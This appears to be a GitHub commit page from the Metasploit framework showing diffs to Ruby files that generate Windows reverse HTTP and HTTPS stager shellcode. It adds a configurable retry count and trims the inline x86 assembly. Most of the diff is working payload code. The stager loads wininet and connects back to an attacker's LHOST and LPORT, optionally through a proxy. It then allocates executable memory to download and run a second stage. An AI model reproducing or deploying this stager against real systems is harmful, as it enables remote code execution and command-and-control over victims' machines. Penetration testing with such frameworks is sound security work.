Skip to content

Commit 0513852

Browse files
author
HD Moore
committed
Fix yard docs, fix retries, trim bytes, retested and working
1 parent 69a808b commit 0513852

File tree

2 files changed

+47
-46
lines changed

2 files changed

+47
-46
lines changed

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 42 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -28,11 +28,12 @@ def initialize(*args)
2828
register_advanced_options(
2929
[
3030
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
31+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
3132
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
3233
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
3334
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
3435
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
35-
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
36+
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
3637
], self.class)
3738
end
3839

@@ -46,7 +47,8 @@ def generate
4647
ssl: false,
4748
host: datastore['LHOST'],
4849
port: datastore['LPORT'],
49-
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
50+
url: generate_small_uri,
51+
retry_count: datastore['StagerRetryCount'])
5052
end
5153

5254
conf = {
@@ -59,7 +61,8 @@ def generate
5961
proxy_port: datastore['PayloadProxyPort'],
6062
proxy_user: datastore['PayloadProxyUser'],
6163
proxy_pass: datastore['PayloadProxyPass'],
62-
proxy_type: datastore['PayloadProxyType']
64+
proxy_type: datastore['PayloadProxyType'],
65+
retry_count: datastore['StagerRetryCount']
6366
}
6467

6568
generate_reverse_http(conf)
@@ -130,24 +133,23 @@ def required_space
130133
end
131134

132135
#
133-
# Dynamic payload generation
136+
# Generate an assembly stub with the configured feature set and options.
137+
#
138+
# @option opts [Bool] :ssl Whether or not to enable SSL
139+
# @option opts [String] :url The URI to request during staging
140+
# @option opts [String] :host The host to connect to
141+
# @option opts [Fixnum] :port The port to connect to
142+
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
143+
# @option opts [String] :proxy_host The optional proxy server host to use
144+
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
145+
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
146+
# @option opts [String] :proxy_user The optional proxy server username
147+
# @option opts [String] :proxy_pass The optional proxy server password
148+
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
134149
#
135150
def asm_reverse_http(opts={})
136151

137-
#
138-
# options should contain:
139-
# ssl: (true|false)
140-
# url: "/url_to_request"
141-
# host: [hostname]
142-
# port: [port]
143-
# exitfunk: [process|thread|seh|sleep]
144-
# proxy_host: [proxy-server]
145-
# proxy_port: [port]
146-
# proxy_user: [username]
147-
# proxy_pass: [password]
148-
# proxy_type: [HTTP|SOCKS]
149-
#
150-
152+
retry_count = [opts[:retry_count].to_i, 1].max
151153
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
152154
proxy_info = ""
153155

@@ -202,25 +204,19 @@ def asm_reverse_http(opts={})
202204
push esp ; Push a pointer to the "wininet" string on the stack.
203205
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
204206
call ebp ; LoadLibraryA( "wininet" )
205-
206-
set_retry:
207-
push.i8 8 ; retry 8 times should be enough
208-
pop edi
209-
210207
xor ebx, ebx ; Set ebx to NULL to use in future arguments
211208
^
212209

213210
if proxy_enabled
214211
asm << %Q^
215-
call get_proxy_server
216-
db "#{proxy_info}", 0x00
217-
get_proxy_server:
218-
pop ecx
219212
internetopen:
220213
push ebx ; DWORD dwFlags
221214
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
222-
push ecx ; LPCTSTR lpszProxyName (NULL)
223-
push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
215+
call get_proxy_server
216+
db "#{proxy_info}", 0x00
217+
get_proxy_server:
218+
; LPCTSTR lpszProxyName (via call)
219+
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
224220
push ebx ; LPCTSTR lpszAgent (NULL)
225221
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
226222
call ebp
@@ -242,7 +238,7 @@ def asm_reverse_http(opts={})
242238
internetconnect:
243239
push ebx ; DWORD_PTR dwContext (NULL)
244240
push ebx ; dwFlags
245-
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
241+
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
246242
push ebx ; password (NULL)
247243
push ebx ; username (NULL)
248244
push #{opts[:port]} ; PORT
@@ -261,15 +257,14 @@ def asm_reverse_http(opts={})
261257

262258
if proxy_enabled && proxy_user
263259
asm << %Q^
260+
; DWORD dwBufferLength (length of username)
261+
push #{proxy_user.length}
264262
call set_proxy_username
265263
proxy_username:
266264
db "#{proxy_user}",0x00
267265
set_proxy_username:
268-
pop ecx ; Save the proxy username into ecx
269-
; DWORD dwBufferLength (length of username)
270-
push #{proxy_user.length}
271-
push ecx ; LPVOID lpBuffer (username)
272-
push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
266+
; LPVOID lpBuffer (username from previous call)
267+
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
273268
push esi ; hConnection
274269
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
275270
call ebp
@@ -278,15 +273,14 @@ def asm_reverse_http(opts={})
278273

279274
if proxy_enabled && proxy_pass
280275
asm << %Q^
276+
; DWORD dwBufferLength (length of password)
277+
push #{proxy_pass.length}
281278
call set_proxy_password
282279
proxy_password:
283280
db "#{proxy_pass}",0x00
284281
set_proxy_password:
285-
pop ecx ; Save the proxy password into ecx
286-
; DWORD dwBufferLength (length of password)
287-
push #{proxy_pass.length}
288-
push ecx ; LPVOID lpBuffer (password)
289-
push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
282+
; LPVOID lpBuffer (password from previous call)
283+
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
290284
push esi ; hConnection
291285
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
292286
call ebp
@@ -307,6 +301,11 @@ def asm_reverse_http(opts={})
307301
call ebp
308302
xchg esi, eax ; save hHttpRequest in esi
309303
304+
; Store our retry counter in the edi register
305+
set_retry:
306+
push #{retry_count}
307+
pop edi
308+
310309
send_request:
311310
^
312311

@@ -321,9 +320,9 @@ def asm_reverse_http(opts={})
321320
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
322321
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
323322
mov eax, esp
324-
push.i8 4 ; sizeof(dwFlags)
323+
push 4 ; sizeof(dwFlags)
325324
push eax ; &dwFlags
326-
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
325+
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
327326
push esi ; hHttpRequest
328327
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
329328
call ebp
@@ -364,7 +363,7 @@ def asm_reverse_http(opts={})
364363

365364
asm << %Q^
366365
allocate_memory:
367-
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
366+
push 0x40 ; PAGE_EXECUTE_READWRITE
368367
push 0x1000 ; MEM_COMMIT
369368
push 0x00400000 ; Stage allocation (4Mb ought to do us)
370369
push ebx ; NULL as we dont care where the allocation is

lib/msf/core/payload/windows/reverse_https.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -40,10 +40,11 @@ def generate
4040
# Generate the simple version of this stager if we don't have enough space
4141
if self.available_space.nil? || required_space > self.available_space
4242
return generate_reverse_https(
43+
ssl: true,
4344
host: datastore['LHOST'],
4445
port: datastore['LPORT'],
45-
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
46-
ssl: true)
46+
url: generate_small_uri,
47+
retry_count: datastore['StagerRetryCount'])
4748
end
4849

4950
conf = {
@@ -56,7 +57,8 @@ def generate
5657
proxy_port: datastore['PayloadProxyPort'],
5758
proxy_user: datastore['PayloadProxyUser'],
5859
proxy_pass: datastore['PayloadProxyPass'],
59-
proxy_type: datastore['PayloadProxyType']
60+
proxy_type: datastore['PayloadProxyType'],
61+
retry_count: datastore['StagerRetryCount']
6062
}
6163

6264
generate_reverse_https(conf)

0 commit comments

Comments
 (0)